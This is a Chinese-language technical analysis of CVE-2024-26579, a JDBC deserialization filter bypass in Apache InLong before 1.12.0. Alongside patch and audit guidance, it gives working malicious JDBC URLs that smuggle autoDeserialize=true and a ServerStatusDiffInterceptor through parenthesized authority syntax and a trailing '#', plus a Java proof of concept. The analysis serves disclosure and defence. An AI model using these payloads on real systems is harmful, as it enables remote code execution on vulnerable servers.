Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)
0x00 前言
Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。
0x01 CVE-2024-26579
在受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。
1.1 影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
1.2 修复方案
将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本
0x02 漏洞分析与复现
以1.11.0版本为例。结合历史漏洞,一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用:
实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection:
这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理:
本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的:
例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤,没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测,进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹:
最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。
本质上CVE-2024-26579也是filterSensitive方法的绕过,下面分析具体的绕过过程:
2.1 现有防护措施
首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。
在非空判断后,使用 URLDecoder.decode 方法循环解码 URL,直到没有百分号编码的字符(InlongConstants.PERCENT)为止:
然后通过正则表达式 InlongConstants.REGEX_WHITESPACE 移除 URL 中的所有空白字符:
检查处理后的 URL 是否包含问号InlongConstants.QUESTION_MARK,如果存在参数部分,将其拆分为键值对:
在这个过程中,会检查请求的参数是否在对应的Map中,如果是,则跳过该参数:
并且将 SENSITIVE_REPLACE_PARAM_MAP 中的key-value添加到对应的参数列表中:
综上,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,同时考虑到了URL编码、空白符等绕过风险。
2.2 绕过方式
之前也简单整理过Jdbc Attack防护绕过的思路,具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对#注释符进行额外的处理。从修复的commit(https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec )也可以看到确实新增了对#注释符的处理:
根据前面的分析,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。
而在mysql-connector-java-8.0.x的解析过程中,会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,会通过正则捕获对应的内容:
private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile(“(?[\w:%]+)\s*(?😕/(?[/?#]*))?\s*(?😕(?!\s*/)(?[?#]))?(?:\?(?!\s\?)(?[^#]))?(?:\s#(?.*))?”);
可知在匹配 URL 的查询参数部分时,使用 (?[^#]*) 匹配查询参数,这里#充当了注释符的作用,在获取query时会将#后面的注释部分去掉。也就是说,8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的。那么就可以通过#注释掉之后拼接的内容。
但是仅仅通过#注释符是没办法进行利用的,因为Apache InLong在处理时会检查请求的参数是否在对应的Map中,如果是,则跳过该参数。而这个参数是通过?处理得到的。即使#处理掉了Apache InLong拼接的额外内容,也没办法通过?autoDeserialize=true的方式写入恶意的参数。
实际上还有一处修复的commit(https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8 ),这里多了一段字符串替换的逻辑:
这里会对经过解码和剔除空白符的url进行处理,遍历SENSITIVE_REPLACE_PARAM_MAP的key,对类似autoDeserialize=true的内容替换成null。那么为什么要增加这段逻辑呢?
在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ,从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数:
以mysql-connector-java-8.0.19.jar为例,查看具体的解析逻辑,若请求的jdbcUrl合法,则调用ConnectionUrl.getConnectionUrlInstance⽅法,这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,主要是通过正则捕获对应的内容:
在getConnectionUrlInstance方法中,首先从 parser 中获取主机的列表大小:
这里会调用parseAuthoritySection方法进行解析:
如果请求的authority 不为null,会调用parseAuthoritySegment进行处理:
在parseAuthoritySegment方法中,会尝试使用不同的方法构建 HostInfo 对象:
buildHostInfoForEmptyHost
buildHostInfoResortingToUriParser
buildHostInfoResortingToSubHostsListParser
buildHostInfoResortingToKeyValueSyntaxParser
buildHostInfoResortingToAddressEqualsSyntaxParser
buildHostInfoResortingToGenericSyntaxParser
最终完成 HostInfo 对象,同时authority中的参数也会作为请求的参数进行解析。
查看具体HostInfo的解析方式,发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟()有关,可以通过()来进行参数的传递:
final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile(“[,\s](?[\w\.\-\s%])(?:=(?[^,]))?“);
private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile(”\s\(\s*(?[\w\.\-%]+)?\s*(?:=(?[^)]))?\)\s”);
结合前面的分析,因为filterSensitive仅仅考虑了?传递参数的情况。结合mysql-connector-java的解析,可以通过在authority进行参数的传递,主要有如下两种方式:
(键值对形式)
jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
address=(键值对形式)
jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
结合漏洞版本忽略了#注释的处理,在jdbc请求的url后追加#注释,即可绕过现有的安全防护。
验证前面的猜想,通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过:
try {
String url=“jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#”;
String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url);
Class.forName(“com.mysql.cj.jdbc.Driver”);
DriverManager.getConnection(jdbcURL,“CB 1.9”,“”);
} catch (Exception e) {
e.printStackTrace();
}
可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制,执行了对应的命令:
(键值对形式)同理:
0x03 其他
实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ,还有一些其他的例子:
在实际业务场景中,一般针对JDBC Attack的防护主要分为两种:
支持jdbc连接串的直接传递,会将jdbc连接串按预置模板解析出对应的字段,然后再进行安全检查
不支持jdbc连接串的直接传递,但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接,最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查
如果在实际防护中没有考虑到上述的传参方式的话,例如host字段可能没有限制具体的内容,还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。